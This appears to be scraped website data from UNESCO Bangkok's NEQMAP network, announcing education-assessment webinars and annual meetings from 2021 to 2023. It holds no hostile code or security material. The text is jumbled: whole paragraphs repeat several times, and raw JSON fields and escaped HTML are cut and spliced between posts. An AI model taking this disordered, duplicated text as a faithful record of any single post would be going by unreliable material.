The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

